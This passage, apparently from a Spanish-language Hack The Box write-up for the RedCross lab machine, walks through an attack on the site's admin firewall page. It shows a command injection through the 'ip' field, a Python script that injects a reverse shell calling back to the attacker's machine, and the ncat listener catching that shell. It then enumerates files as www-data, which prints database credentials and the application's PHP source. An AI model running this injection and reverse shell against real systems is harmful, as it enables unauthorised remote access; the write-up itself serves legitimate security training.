style="color:#e6db74">&#39;bottom&#39;</span>&gt;&lt;<span style="color:#f92672">h2</span>&gt;IT Admin panel&lt;/<span style="color:#f92672">h2</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;top&#39;</span>&gt;&lt;<span style="color:#f92672">h3</span>&gt;Authorized personnel only&lt;/<span style="color:#f92672">h3</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">100px</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;font-size:75%&#39;</span>&gt;[[guest]]&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;POST&#39;</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;submit&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;end session&#39;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">POST</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span>&gt;Whitelist IP Address: &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;text&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;ip&#39;</span>&gt;<span style="color:#960050;background-color:#1e0010">&amp;</span>nbsp&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;submit&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Allow IP&#39;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">cellspacing</span><span style="color:#f92672">=</span><span style="color:#e6db74">5</span> <span style="color:#a6e22e">cellpadding</span><span style="color:#f92672">=</span><span style="color:#e6db74">5</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;UID&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;IP Address&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;Auth. since&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;Action&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;1&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;10.10.12.185   &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;2019-01-14 17:22:12.554465&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">POST</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">hidden</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">ip</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">10.10.12.185</span>   &gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">hidden</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">id</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">12</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">submit</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">action</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">deny</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;1&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;10.10.13.13    &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;2019-01-14 21:45:53.473657&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">POST</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">hidden</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">ip</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">10.10.13.13</span>    &gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">hidden</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">id</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">16</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">submit</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">action</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">deny</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;Web admin system 0.9&lt;/<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;
</span></span></code></pre></div><p><img src="/img/htb-redcross/http-admin-firewall.png" alt="admin firewall"></p>
<p>Como podemos ver, contamos con varias reglas para permitir o denegar ciertas direcciones IP. Aquí al igual que con users, probé algunas combinaciones clásicas para un command injection, resultando esta pagina vulnerable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify=no -f POST https://admin.redcross.htb/pages/actions.php Cookie:&#34;PHPSESSID=79cdhgjto42ab714987f6258c1; LANG=EN_US; SINCE=1555294885; LIMIT=10; DOMAIN=admin;&#34; ip=&#39;1.1.1.1;ping -c1 10.10.14.84&#39; action=&#39;Allow IP&#39;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 30
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>refresh: 1;url=https://www.xbyte.mx/?page=firewall
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ERR: Invalid IP Address format
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify=no -f POST https://admin.redcross.htb/pages/actions.php Cookie:&#34;PHPSESSID=79cdhgjto42ab714987f6258c1; LANG=EN_US; SINCE=1555294885; LIMIT=10; DOMAIN=admin;&#34; ip=&#39;1.1.1.1;ping -c1 10.10.14.84&#39; action=deny
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 191
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>refresh: 1;url=https://www.xbyte.mx/?page=firewall
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>DEBUG: All checks passed... Executing iptables
</span></span><span style="display:flex;"><span>Network access restricted to 1.1.1.1
</span></span><span style="display:flex;"><span>PING 10.10.14.84 (10.10.14.84) 56(84) bytes of data.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--- 10.10.14.84 ping statistics ---
</span></span><span style="display:flex;"><span>1 packets transmitted, 0 received, 100% packet loss, time 0ms
</span></span></code></pre></div><p>Habiendo identificado que podemos realizar un command injection desde el parametro <strong>ip</strong>, prepare el siguiente script de python para generar una reverse shell cada que necesite conectarme:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests<span style="color:#f92672">,</span>netifaces
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>urlIntraBase<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://intra.redcross.htb&#39;</span>
</span></span><span style="display:flex;"><span>urlAdminBase<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;https://admin.redcross.htb&#39;</span>
</span></span><span style="display:flex;"><span>urlActions <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;/pages/actions.php&#39;</span>
</span></span><span style="display:flex;"><span>loginParms <span style="color:#f92672">=</span> { <span style="color:#e6db74">&#34;user&#34;</span>:<span style="color:#e6db74">&#34;guest&#34;</span>, <span style="color:#e6db74">&#34;pass&#34;</span>:<span style="color:#e6db74">&#34;guest&#34;</span>, <span style="color:#e6db74">&#34;action&#34;</span>:<span style="color:#e6db74">&#34;login&#34;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>reverseShell <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;python3 -c </span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> netifaces<span style="color:#f92672">.</span>ifaddresses(<span style="color:#e6db74">&#39;tun0&#39;</span>)[netifaces<span style="color:#f92672">.</span>AF_INET][<span style="color:#ae81ff">0</span>][<span style="color:#e6db74">&#39;addr&#39;</span>] <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">,3001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">/bin/bash</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">,</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">-i</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">]);</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>s <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>Session()
</span></span><span style="display:flex;"><span>res <span style="color:#f92672">=</span> s<span style="color:#f92672">.</span>post(urlIntraBase <span style="color:#f92672">+</span> urlActions, data <span style="color:#f92672">=</span> loginParms, verify<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>headersIntra <span style="color:#f92672">=</span> res<span style="color:#f92672">.</span>headers
</span></span><span style="display:flex;"><span>cookie <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> minicookie <span style="color:#f92672">in</span> headersIntra[<span style="color:#e6db74">&#34;set-cookie&#34;</span>]<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;intra&#39;</span>, <span style="color:#e6db74">&#39;admin&#39;</span>)<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39; &#39;</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> minicookie<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#39;=&#39;</span>)[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">.</span>isupper():
</span></span><span style="display:flex;"><span>        cookie <span style="color:#f92672">+=</span> minicookie
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>headersAdmin <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;Cookie&#34;</span>: cookie}
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;ip&#34;</span>:<span style="color:#e6db74">&#39;1.1.1.1;&#39;</span><span style="color:#f92672">+</span>reverseShell, <span style="color:#e6db74">&#34;action&#34;</span>:<span style="color:#e6db74">&#34;deny&#34;</span>}
</span></span><span style="display:flex;"><span>res <span style="color:#f92672">=</span> s<span style="color:#f92672">.</span>post(urlAdminBase <span style="color:#f92672">+</span> urlActions, data<span style="color:#f92672">=</span>payload ,headers<span style="color:#f92672">=</span>headersAdmin, verify<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>, allow_redirects<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)
</span></span><span style="display:flex;"><span>print res<span style="color:#f92672">.</span>text
</span></span></code></pre></div><h1 id="digging-as-www-data">Digging as www-data</h1>
<p>Ahora que hemos conseguido acceso al servidor, comencemos por enumerar el directorio de <em>/var/www/html/</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ ncat -nvlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.113.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.113:49806.
</span></span><span style="display:flex;"><span>bash: cannot set terminal process group (776): Inappropriate ioctl for device
</span></span><span style="display:flex;"><span>bash: no job control in this shell
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin/pages$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>actions.php
</span></span><span style="display:flex;"><span>bottom.php
</span></span><span style="display:flex;"><span>cpanel.php
</span></span><span style="display:flex;"><span>firewall.php
</span></span><span style="display:flex;"><span>header.php
</span></span><span style="display:flex;"><span>login.php
</span></span><span style="display:flex;"><span>users.php
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin/pages$ cd ..
</span></span><span style="display:flex;"><span>cd ..
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>9a7d3e2c3ffb452b2e40784f77723938
</span></span><span style="display:flex;"><span>images
</span></span><span style="display:flex;"><span>index.php
</span></span><span style="display:flex;"><span>init.php
</span></span><span style="display:flex;"><span>pages
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin$ cat init.php
</span></span><span style="display:flex;"><span>cat init.php
</span></span><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>#database configuration
</span></span><span style="display:flex;"><span>$dbhost=&#39;127.0.0.1&#39;;
</span></span><span style="display:flex;"><span>$dbuser=&#39;dbcross&#39;;
</span></span><span style="display:flex;"><span>$dbpass=&#39;LOSPxnme4f5pH5wp&#39;;
</span></span><span style="display:flex;"><span>$dbname=&#39;redcross&#39;;
</span></span><span style="display:flex;"><span>?&gt;
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html/admin$ cd ..
</span></span><span style="display:flex;"><span>cd ..
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>admin
</span></span><span style="display:flex;"><span>default
</span></span><span style="display:flex;"><span>intra
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html$ ls -lah default
</span></span><span style="display:flex;"><span>ls -lah default
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Jun  3  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 root root 4.0K Jun  3  2018 ..
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html$ ls -lah intra
</span></span><span style="display:flex;"><span>ls -lah intra
</span></span><span style="display:flex;"><span>total 32K
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 root root 4.0K Jun  8  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 root root 4.0K Jun  3  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root  145 Jun  8  2018 .htaccess
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Jun  7  2018 documentation
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Jun  4  2018 images
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root  718 Jun  7  2018 index.php
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root  121 Jun  6  2018 init.php
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4.0K Jun 11  2018 pages
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html$ cat intra/init.php
</span></span><span style="display:flex;"><span>cat intra/init.php
</span></span><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>#database configuration
</span></span><span style="display:flex;"><span>$dbhost=&#39;127.0.0.1&#39;;
</span></span><span style="display:flex;"><span>$dbuser=&#39;dbcross&#39;;
</span></span><span style="display:flex;"><span>$dbpass=&#39;LOSPxnme4f5pH5wp&#39;;
</span></span><span style="display:flex;"><span>$dbname=&#39;redcross&#39;;
</span></span><span style="display:flex;"><span>?&gt;
</span></span><span style="display:flex;"><span>www-data@redcross:/var/www/html$
</span></span></code></pre></div><p>Hemos encontrado unas credenciales de mysql, misma que accedimos por el SQLi.</p>
<p>Después de continuar analizando las aplicaciones, encontraremos que hay otra conexión a otra base de datos, una a postgresql que usaba la aplicación de <em>admin</em> para el control de red:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">www</span><span style="color:#f92672">-</span><span style="color:#a6e22e">data</span><span style="color:#f92672">@</span><span style="color:#a6e22e">redcross</span><span style="color:#f92672">:/</span><span style="color:#66d9ef">var</span><span style="color:#f92672">/</span><span style="color:#a6e22e">www</span><span style="color:#f92672">/</span><span style="color:#a6e22e">html</span><span style="color:#960050;background-color:#1e0010">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">admin</span><span style="color:#f92672">/</span><span style="color:#a6e22e">pages</span><span style="color:#f92672">/</span><span style="color:#a6e22e">actions</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">admin</span><span style="color:#f92672">/</span><span style="color:#a6e22e">pages</span><span style="color:#f92672">/</span><span style="color:#a6e22e">actions</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">session_start</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">require</span> <span style="color:#e6db74">&#34;../init.php&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">generateRandomString</span>($length <span style="color:#f92672">=</span> <span style="color:#ae81ff">8</span>) {
</span></span><span style="display:flex;"><span>	$characters <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;</span>;
</span></span><span style="display:flex;"><span>	$charactersLength <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>($characters);
</span></span><span style="display:flex;"><span>	$randomString <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> ($i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; $i <span style="color:#f92672">&lt;</span> $length; $i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		$randomString <span style="color:#f92672">.=</span> $characters[<span style="color:#a6e22e">rand</span>(<span style="color:#ae81ff">0</span>, $charactersLength <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>)];
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> $randomString;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">isset</span>($_POST[<span style="color:#e6db74">&#39;action&#39;</span>])){ <span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;Location: /&#39;</span>); <span style="color:#66d9ef">exit</span>;}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span> { $action<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;action&#39;</span>];}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#echo $action; #for debugging
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($action<span style="color:#f92672">===</span><span style="color:#e6db74">&#39;login&#39;</span>){
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">isset</span>($_POST[<span style="color:#e6db74">&#39;pass&#39;</span>]) <span style="color:#66d9ef">and</span> <span style="color:#f92672">!</span><span style="color:#a6e22e">isset</span>($_POST[<span style="color:#e6db74">&#39;user&#39;</span>])){
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">header</span>(<span style="color:#e6db74">&#39;refresh:3;url=https://www.xbyte.mx/?page=login?&#39;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;ERR - missing data&#34;</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">exit</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	$text<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Checking provided credentials...&#34;</span>;
</span></span><span style="display:flex;"><span>	$user<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;user&#39;</span>];
</span></span><span style="display:flex;"><span>	$pass<span style="color:#f92672">=</span>$_POST[<span style="color:#e6db74">&#39;pass&#39;</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">/* db select code */</span>
</span></span><span style="display:flex;"><span>	$mysqli <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">mysqli</span>($dbhost, $dbuser, $dbpass, $dbname);
</span></span><span style="display:flex;"><span>	$sql<span style="color:#f92672">=</span>$mysqli<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">prepare</span>(<span style="color:#e6db74">&#34;SELECT id, password, mail, role FROM users WHERE username = ?&#34;</span>);
</span></span><span style="display:flex;"><span>	$sql<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">bind_param</span>(<span style="color:#e6db74">&#34;s&#34;</span>, $user);
</span></span><span style="display:flex;"><span>	$sql<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">execute</span>();
</span></span><span style="display:flex;"><span>	$sql<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">store_result</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> ($sql<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">num_rows</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>		$text<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Wrong data!&#34;</span>;
</span></span><span style="display:flex;"><span>		$hash<span style="color:#f92672">=</span><span style="color:#66d9ef">NULL</span>;
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>		$sql<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">bind_result</span>($id,$hash,$mail,$role);
</span></span><span style="display:flex;"><span>		$sql<span style="color:#f92672">-&gt;</span><span style="color:#a6e22e">fetch</span>();
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">/* de select code end */</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">password_verify</span>($pass,$hash) <span style="color:#66d9ef">and</span> $role<span style="color:#f92672">==</span><span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>		$_SESSION[<span style="color:#e6db74">&#39;auth&#39;</span>]<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>		$_SESSION[<span style="color:#e6db74">&#39;userid&#39;</span>]<span style="color:#f92672">=</span>$id;
</span></span><span style="display:flex;"><span>		$_SESSION[<span style="color:#e6db74">&#39;mail&#39;</span>]<span style="color:#f92672">=</span>$mail;
</span></span><span style="display:flex;"><span>		$_SESSION[<span style="color:#e6db74">&#39;role&#39;</span>]<span style="color:#f92672">=</span>$role;
</span></span><span style="display:flex;"><span>		$_SESSION[<span style="color:#e6db74">&#39;username&#39;</span>]<span style="color:#f92672">=</span>$user;
</span></span><span style="display:flex;"><span>		$cname<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;LANG&#34;</span>;
</span></span><span style="display:flex;"><span>		$cvalue<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;EN_US&#34;</span>;
</span></span><span style="display:flex;"><span>		$ctime<span style="color:#f92672">=</span><span style="color:#a6e22e">time</span>()<span style="color:#f92672">+</span>(<span style="color:#ae81ff">86400</span><span style="color:#f92672">*</span><span style="color:#ae81ff">90</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">setcookie</span>($cname,$cvalue,$ctime,<span style="color:#e6db74">&#34;/&#34;</span>);
</span></span><span style="display:flex;"><span>		$cname<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;SINCE&#34;</span>;
</span></span><span style="display:flex;"><span>		$cvalue<span style="color:#f92672">=</span><span style="color:#a6e22e">time</span>();
</span></span><span style="display:flex;"><span>		$ctime<span style="color:#f92672">=</span><span style="color:#a6e22e">time</span>()<span style="color:#f92672">+</span>(<span style="color:#ae81ff">86400</span><span style="color:#f92672">*</span><span style="color:#ae81ff">90</span>);
